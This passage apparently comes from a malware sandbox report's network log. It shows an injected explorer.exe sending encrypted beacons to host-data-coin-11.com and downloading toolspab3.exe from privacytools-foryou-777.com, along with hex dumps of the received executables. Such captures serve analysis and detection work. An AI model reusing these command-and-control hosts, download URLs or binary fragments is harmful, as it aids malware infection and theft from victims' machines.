cf 00 52 69 63 68 2f f0 cf 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 74 f1 e5 60 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 09 00 00 3c 04 00 00 4a 02 00 00 00 00 00 c0 34 02 00 00 10 00 00 00 50 04 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 d0 06 00 00 04 00 00 41 c1 05 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 2c 39 04 00 3c 00 00 00 00 30 06 00 f8 59 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 06 00 14 23 00 00 50 13 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 a6 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 e0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 34 3a 04 00 00 10 00 00 00 3c 04 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 60 9a 01 00 00 50 04 00 00 8c 00 00 00 40 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 61 6d 69 63 61 6b 05 00 00 00 00 f0 05 00 00 02 00 00 00 cc 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 64 6f 73 00 00 00 00 4b 00 00 00 00 00 06 00 00 02 00 00 00 ce 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6d 6f 64 61 76 00 00 ea 00 00 00 00 10 06 00 00 02 00 00 00 d0 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6e 75 67 69 72 6f 66 93 0d 00 00 00 20 06 00 00 0e 00 00 00 d2 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f8 59 00 00 00 30 06 00 00 5a 00 00 00 e0 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 a2 3e 00 00 00 90 06 00 00 40 00 00 00 3a 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 44 04 00 00 00 00 00 6c 3c 04 00 82 3c 04 00 92 3c 04 00 a2 3c 04 00 be 3c 04 00 d2 3c 04 00 e6 3c 04 00 f6 3c 04 00 10 3d 04 00 2a 3d 04 00 42 3d 04 00 56 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$kS///1Z=1LW6/1K1[.1^.Rich/PELt`<J4P@A,9<0Y#PX@.text4:< `.data`P@@.pamicak@.dosK@.modav@.nugirof @.rsrcY0Z@@.reloc>@:@BDl<<<<<<<<==B=V
Jan 6, 2022 21:03:52.698311090 CET	1190	IN	Data Raw: 3d 04 00 62 3d 04 00 70 3d 04 00 88 3d 04 00 96 3d 04 00 b8 3d 04 00 c4 3d 04 00 d8 3d 04 00 f4 3d 04 00 0e 3e 04 00 2a 3e 04 00 3c 3e 04 00 50 3e 04 00 5e 3e 04 00 6e 3e 04 00 80 3e 04 00 96 3e 04 00 aa 3e 04 00 b8 3e 04 00 c8 3e 04 00 dc 3e 04 Data Ascii: =b=p=======>*><>P>^>n>>>>>>>>>?.?D?T?l????????@&@2@>@P@j@v@@Z<@@@@A"A.ABARAfAxAAAAAAA
Jan 6, 2022 21:03:52.698348999 CET	1192	IN	Data Raw: 00 66 00 6f 00 78 00 61 00 72 00 6f 00 77 00 75 00 6e 00 61 00 63 00 65 00 66 00 6f 00 78 00 75 00 76 00 00 00 79 69 76 69 6a 75 72 75 64 69 63 61 76 61 63 65 63 61 77 75 67 75 64 61 77 6f 72 69 77 6f 73 00 62 00 6f 00 68 00 6f 00 77 00 6f 00 67 Data Ascii: foxarowunacefoxuvyivijurudicavacecawugudaworiwosbohowogizawekacucZowivukivoyujegwesipijezocayepazFiludujovavaYisidabYukohekoyupilu kojifer lobiyifitodayif wuzenuv
Jan 6, 2022 21:03:52.698386908 CET	1193	IN	Data Raw: 00 65 00 00 00 00 00 43 3a 5c 50 72 6f 67 72 61 6d 20 46 69 6c 65 73 20 28 78 38 36 29 5c 4d 69 63 72 6f 73 6f 66 74 20 56 69 73 75 61 6c 20 53 74 75 64 69 6f 20 39 2e 30 5c 56 43 5c 69 6e 63 6c 75 64 65 5c 73 74 72 65 61 6d 62 75 66 00 d0 aa 40 Data Ascii: eC:\Program Files (x86)\Microsoft Visual Studio 9.0\VC\include\streambuf@AGAGAlAOArAUAANAAAgAlAoA"out of range"std::ctype<wchar_t>::_Do_widen_s
Jan 6, 2022 21:03:52.698426008 CET	1194	IN	Data Raw: 00 63 00 72 00 74 00 5f 00 62 00 6c 00 64 00 5c 00 73 00 65 00 6c 00 66 00 5f 00 78 00 38 00 36 00 5c 00 63 00 72 00 74 00 5c 00 73 00 72 00 63 00 5c 00 78 00 6d 00 62 00 74 00 6f 00 77 00 63 00 2e 00 63 00 00 00 00 00 00 00 00 00 5f 00 5f 00 5f Data Ascii: crt_bld\self_x86\crt\src\xmbtowc.c___mb_cur_max_l_func(locale) == 1 \|\| ___mb_cur_max_l_func(locale) == 2f:\dd\vctools\crt_bld\
Jan 6, 2022 21:03:52.698463917 CET	1196	IN	Data Raw: 00 65 00 6c 00 66 00 5f 00 78 00 38 00 36 00 5c 00 63 00 72 00 74 00 5c 00 73 00 72 00 63 00 5c 00 6d 00 65 00 6d 00 6d 00 6f 00 76 00 65 00 5f 00 73 00 2e 00 63 00 00 00 00 00 63 73 6d e0 01 00 00 00 00 00 00 00 00 00 00 00 03 00 00 00 20 05 93 Data Ascii: elf_x86\crt\src\memmove_s.ccsm ...Assertion FailedErrorWarning%@%@%@f:\dd\vctools\crt_bld\self_x86\c
Jan 6, 2022 21:03:52.698504925 CET	1197	IN	Data Raw: 00 67 00 72 00 61 00 6d 00 20 00 6e 00 61 00 6d 00 65 00 20 00 75 00 6e 00 6b 00 6e 00 6f 00 77 00 6e 00 3e 00 00 00 00 00 77 00 63 00 73 00 63 00 70 00 79 00 5f 00 73 00 28 00 73 00 7a 00 45 00 78 00 65 00 4e 00 61 00 6d 00 65 00 2c 00 20 00 32 Data Ascii: gram name unknown>wcscpy_s(szExeName, 260, L"<program name unknown>")__crtMessageWindowWCorExitProcessmscoree.dll( (_Strea
Jan 6, 2022 21:03:52.698544025 CET	1199	IN	Data Raw: 00 02 00 02 00 02 00 02 00 02 00 02 00 02 00 02 00 02 00 02 00 02 00 02 00 02 00 02 00 10 00 10 00 10 00 10 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 6, 2022 21:03:52.698582888 CET	1200	IN	Data Raw: 0b 0c 0d 0e 0f 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f 20 21 22 23 24 25 26 27 28 29 2a 2b 2c 2d 2e 2f 30 31 32 33 34 35 36 37 38 39 3a 3b 3c 3d 3e 3f 40 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 5b 5c Data Ascii: !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{\|}~
Jan 6, 2022 21:03:52.698622942 CET	1201	IN	Data Raw: 00 00 00 5f 00 43 00 72 00 74 00 49 00 73 00 56 00 61 00 6c 00 69 00 64 00 48 00 65 00 61 00 70 00 50 00 6f 00 69 00 6e 00 74 00 65 00 72 00 28 00 70 00 55 00 73 00 65 00 72 00 44 00 61 00 74 00 61 00 29 00 00 00 00 00 00 00 54 68 65 20 42 6c 6f Data Ascii: _CrtIsValidHeapPointer(pUserData)The Block at 0x%p was allocated by aligned routines, use _aligned_realloc()Error: memory allocation: bad memory block type.Memory allocated at %hs(%d).Invalid
Jan 6, 2022 21:03:52.875715017 CET	1202	IN	Data Raw: 65 20 66 61 69 6c 75 72 65 2e 0a 00 00 00 00 00 00 54 68 65 20 42 6c 6f 63 6b 20 61 74 20 30 78 25 70 20 77 61 73 20 61 6c 6c 6f 63 61 74 65 64 20 62 79 20 61 6c 69 67 6e 65 64 20 72 6f 75 74 69 6e 65 73 2c 20 75 73 65 20 5f 61 6c 69 67 6e 65 64 Data Ascii: e failure.The Block at 0x%p was allocated by aligned routines, use _aligned_free()_msize_dbg%hs located at 0x%p is %Iu bytes long.%hs located at 0x%p is %Iu bytes long.Memory allocated at %hs(%d).HEAP CORRU

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.4	49790	198.11.172.78	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 6, 2022 21:03:56.887650967 CET	1561	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://yhrhfw.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 181 Host: host-data-coin-11.com
Jan 6, 2022 21:03:56.887669086 CET	1561	OUT	Data Raw: 10 87 81 98 19 f8 a1 b7 cc 38 76 3a 0d c2 e4 8e 31 10 ac 43 a2 40 6f 98 bd 9a ac fe ff a3 91 f7 68 b7 58 a7 10 1f bf e0 e0 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 84 de 98 66 5d 02 c9 a1 c1 64 3d 84 ab 3a Data Ascii: 8v:1C@ohXwmDu$f]d=:[G{=Xg(cjMa69@L3AGW&]vJFs,!7\|c+J:6$/_w
Jan 6, 2022 21:03:57.459589005 CET	1562	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Thu, 06 Jan 2022 20:03:57 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.4	49791	198.11.172.78	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 6, 2022 21:03:57.973890066 CET	1563	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://buaqqkbu.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 153 Host: host-data-coin-11.com
Jan 6, 2022 21:03:57.973898888 CET	1563	OUT	Data Raw: 10 87 81 98 19 f8 a1 b7 cc 38 76 3a 0d c2 e4 8e 31 10 ac 43 a2 40 6f 98 bd 9a ac fe ff a3 91 f7 68 b7 58 a7 10 1f bf e0 e0 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 99 66 5d 02 c8 a1 c1 64 5c c8 c6 20 Data Ascii: 8v:1C@ohXwmDu$f]d\ )d>Sd%Pqh)q}E3H\$Tv4$MG2(`
Jan 6, 2022 21:03:58.540747881 CET	1636	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 06 Jan 2022 20:03:58 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.4	49793	198.11.172.78	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 6, 2022 21:03:58.765418053 CET	1638	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ijkho.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 184 Host: host-data-coin-11.com
Jan 6, 2022 21:03:58.765446901 CET	1638	OUT	Data Raw: 10 87 81 98 19 f8 a1 b7 cc 38 76 3a 0d c2 e4 8e 31 10 ac 43 a2 40 6f 98 bd 9a ac fe ff a3 91 f7 68 b7 58 a7 10 1f bf e0 e0 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 96 66 5d 02 c8 a1 c1 64 4f 87 a1 0e Data Ascii: 8v:1C@ohXwmDu$f]dOCpsS"T M3Nu{N?Gb9BRQ2 }2zxH m#)8%MP$7\|w5_}q&
Jan 6, 2022 21:03:59.318780899 CET	1643	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Thu, 06 Jan 2022 20:03:59 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 33 37 0d 0a 02 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e d6 1e 52 25 40 a3 f5 c2 ea fb 5f f5 4d 8b 2d e4 04 08 c7 5c a5 ba 7a ae 2e 54 0a e3 f0 d8 4b fc 05 d4 43 0d 0a 30 0d 0a 0d 0a Data Ascii: 37I:82OR%@_M-\z.TKC0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.4	49796	198.11.172.78	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 6, 2022 21:03:59.946167946 CET	1697	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://nyuts.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 174 Host: host-data-coin-11.com
Jan 6, 2022 21:03:59.947973013 CET	1697	OUT	Data Raw: 10 87 81 98 19 f8 a1 b7 cc 38 76 3a 0d c2 e4 8e 31 10 ac 43 a2 40 6f 98 bd 9a ac fe ff a3 91 f7 68 b7 58 a7 10 1f bf e0 e0 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 97 66 5d 02 c8 a1 c1 64 0e ac ca 69 Data Ascii: 8v:1C@ohXwmDu$f]diCkhMIJ6!2kP=:Cvw;jOHK7)mX~.}^]!nR$s[g_(7=c
Jan 6, 2022 21:04:00.494330883 CET	1785	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Thu, 06 Jan 2022 20:04:00 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f d1 95 4f 11 6a 11 e9 b2 83 bd a6 02 e9 1a d1 70 ae 59 4a d9 52 a6 be 67 e3 25 58 51 b8 f6 cb 41 e1 0e 88 16 95 e1 63 da 7d b3 ef d2 01 79 e5 a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OOjpYJRg%XQAc}yc0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.4	49801	198.11.172.78	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 6, 2022 21:04:00.709511995 CET	1797	OUT	GET /downloads/toolspab3.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: privacytools-foryou-777.com
Jan 6, 2022 21:04:01.250267029 CET	1837	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 06 Jan 2022 20:04:01 GMT Content-Type: application/x-msdos-program Content-Length: 306176 Connection: close Last-Modified: Thu, 06 Jan 2022 20:03:01 GMT ETag: "4ac00-5d4ef5b8b5e75" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 fd da db ac b9 bb b5 ff b9 bb b5 ff b9 bb b5 ff a7 e9 20 ff a8 bb b5 ff a7 e9 36 ff ca bb b5 ff 9e 7d ce ff ba bb b5 ff b9 bb b4 ff 7d bb b5 ff a7 e9 31 ff 80 bb b5 ff a7 e9 21 ff b8 bb b5 ff a7 e9 24 ff b8 bb b5 ff 52 69 63 68 b9 bb b5 ff 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 83 9c 5d 5f 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 09 00 00 b2 03 00 00 04 02 00 00 00 00 00 30 c6 01 00 00 10 00 00 00 d0 03 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 20 06 00 00 04 00 00 be d3 04 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 b4 af 03 00 28 00 00 00 00 40 05 00 18 90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 05 00 74 1b 00 00 20 13 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 38 8a 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 d4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 5e b0 03 00 00 10 00 00 00 b2 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 04 20 01 00 00 d0 03 00 00 14 00 00 00 b6 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 61 66 00 00 00 00 05 00 00 00 00 00 05 00 00 02 00 00 00 ca 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 76 6f 73 00 00 00 00 4b 00 00 00 00 10 05 00 00 02 00 00 00 cc 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6d 75 79 65 73 00 00 ea 00 00 00 00 20 05 00 00 02 00 00 00 ce 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 79 6f 6d 69 63 61 00 93 0d 00 00 00 30 05 00 00 0e 00 00 00 d0 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 18 90 00 00 00 40 05 00 00 92 00 00 00 de 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 3a 00 00 00 e0 05 00 00 3c 00 00 00 70 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 b2 03 00 c2 b2 03 00 d4 b2 03 00 ea b2 03 00 fa b2 03 00 0a b3 03 00 26 b3 03 00 3a b3 03 00 4e b3 03 00 5e b3 03 00 78 b3 03 00 92 b3 03 00 aa b3 03 00 be Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ 6}}1!$RichPEL]_0@ (@t 8@.text^ `.data @.paf@.vosK@.muyes @.yomica0@.rsrc@@@.reloc:<p@B&:N^x
Jan 6, 2022 21:04:01.250329971 CET	1839	IN	Data Raw: b3 03 00 ca b3 03 00 d8 b3 03 00 f0 b3 03 00 00 b4 03 00 22 b4 03 00 2e b4 03 00 42 b4 03 00 5e b4 03 00 70 b4 03 00 8c b4 03 00 9e b4 03 00 b2 b4 03 00 c0 b4 03 00 da b4 03 00 ec b4 03 00 02 b5 03 00 16 b5 03 00 24 b5 03 00 34 b5 03 00 4a b5 03 Data Ascii: ".B^p$4JZn.J^v(8Jdx,>Nd
Jan 6, 2022 21:04:01.250348091 CET	1840	IN	Data Raw: 75 7a 61 73 65 68 65 72 61 64 75 77 75 6e 6f 76 00 63 61 66 75 66 75 6e 65 6a 65 73 61 6c 6f 77 69 72 61 67 69 76 75 68 61 74 6f 7a 61 70 61 78 75 76 65 74 65 64 00 00 00 79 69 76 69 6a 75 72 75 64 69 63 61 76 61 63 65 63 61 77 75 67 75 64 61 77 Data Ascii: uzaseheraduwunovcafufunejesalowiragivuhatozapaxuvetedyivijurudicavacecawugudaworiwoscahedexigovofopoyZowivukivoyujegDufecewew cofa hijuvonego xuhayururo yeyabonparulezizubekehadmizotegikomoriy
Jan 6, 2022 21:04:01.250360012 CET	1841	IN	Data Raw: 00 65 00 72 00 00 00 66 00 3a 00 5c 00 64 00 64 00 5c 00 76 00 63 00 74 00 6f 00 6f 00 6c 00 73 00 5c 00 63 00 72 00 74 00 5f 00 62 00 6c 00 64 00 5c 00 73 00 65 00 6c 00 66 00 5f 00 78 00 38 00 36 00 5c 00 63 00 72 00 74 00 5c 00 73 00 72 00 63 Data Ascii: erf:\dd\vctools\crt_bld\self_x86\crt\src\vswprint.c(format != NULL)("Buffer too small", 0)string != NULL && sizeInWo
Jan 6, 2022 21:04:01.250372887 CET	1843	IN	Data Raw: 68 6f 6f 6b 20 61 6c 6c 6f 63 61 74 69 6f 6e 20 66 61 69 6c 75 72 65 20 61 74 20 66 69 6c 65 20 25 68 73 20 6c 69 6e 65 20 25 64 2e 0a 00 00 00 00 00 00 00 00 66 00 3a 00 5c 00 64 00 64 00 5c 00 76 00 63 00 74 00 6f 00 6f 00 6c 00 73 00 5c 00 63 Data Ascii: hook allocation failure at file %hs line %d.f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c_CrtCheckMemory()_calloc_dbg_impl(_HEAP_MA
Jan 6, 2022 21:04:01.250415087 CET	1844	IN	Data Raw: 00 20 00 6e 00 42 00 6c 00 6f 00 63 00 6b 00 55 00 73 00 65 00 00 00 00 00 00 00 70 00 48 00 65 00 61 00 64 00 2d 00 3e 00 6e 00 4c 00 69 00 6e 00 65 00 20 00 3d 00 3d 00 20 00 49 00 47 00 4e 00 4f 00 52 00 45 00 5f 00 4c 00 49 00 4e 00 45 00 20 Data Ascii: nBlockUsepHead->nLine == IGNORE_LINE && pHead->lRequest == IGNORE_REQHEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the applicati
Jan 6, 2022 21:04:01.250432014 CET	1846	IN	Data Raw: 77 69 74 68 20 75 6e 6b 6e 6f 77 6e 20 72 65 74 75 72 6e 20 76 61 6c 75 65 21 0a 00 00 5f 68 65 61 70 63 68 6b 20 66 61 69 6c 73 20 77 69 74 68 20 5f 48 45 41 50 42 41 44 50 54 52 2e 0a 00 00 00 5f 68 65 61 70 63 68 6b 20 66 61 69 6c 73 20 77 69 Data Ascii: with unknown return value!_heapchk fails with _HEAPBADPTR._heapchk fails with _HEAPBADEND._heapchk fails with _HEAPBADNODE._heapchk fails with _HEAPBADBEGIN._CrtSetDbgFlag(fNewBits==_CRTDB
Jan 6, 2022 21:04:01.250463009 CET	1847	IN	Data Raw: 00 4e 00 55 00 4c 00 4c 00 00 00 2e 00 2e 00 2e 00 00 00 41 00 73 00 73 00 65 00 72 00 74 00 69 00 6f 00 6e 00 20 00 46 00 61 00 69 00 6c 00 65 00 64 00 00 00 00 00 45 00 72 00 72 00 6f 00 72 00 00 00 57 00 61 00 72 00 6e 00 69 00 6e 00 67 00 00 Data Ascii: NULL...Assertion FailedErrorWarning/@/@/@f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrpt.cMicrosoft Visual C++ Debug
Jan 6, 2022 21:04:01.250494003 CET	1848	IN	Data Raw: 00 6d 00 20 00 6e 00 61 00 6d 00 65 00 20 00 75 00 6e 00 6b 00 6e 00 6f 00 77 00 6e 00 3e 00 22 00 29 00 00 00 5f 00 5f 00 63 00 72 00 74 00 4d 00 65 00 73 00 73 00 61 00 67 00 65 00 57 00 69 00 6e 00 64 00 6f 00 77 00 57 00 00 00 66 3a 5c 64 64 Data Ascii: m name unknown>")__crtMessageWindowWf:\dd\vctools\crt_bld\self_x86\crt\src\output.c("'n' format specifier disabled", 0)_woutput_lf:\dd\v
Jan 6, 2022 21:04:01.250509977 CET	1850	IN	Data Raw: 00 4c 00 00 00 00 00 73 00 74 00 72 00 74 00 6f 00 78 00 71 00 00 00 00 00 00 00 66 00 3a 00 5c 00 64 00 64 00 5c 00 76 00 63 00 74 00 6f 00 6f 00 6c 00 73 00 5c 00 63 00 72 00 74 00 5f 00 62 00 6c 00 64 00 5c 00 73 00 65 00 6c 00 66 00 5f 00 78 Data Ascii: Lstrtoxqf:\dd\vctools\crt_bld\self_x86\crt\src\strtoq.cCorExitProcessmscoree.dllf:\dd\vctools\crt_bld\self_x86\crt\src\w
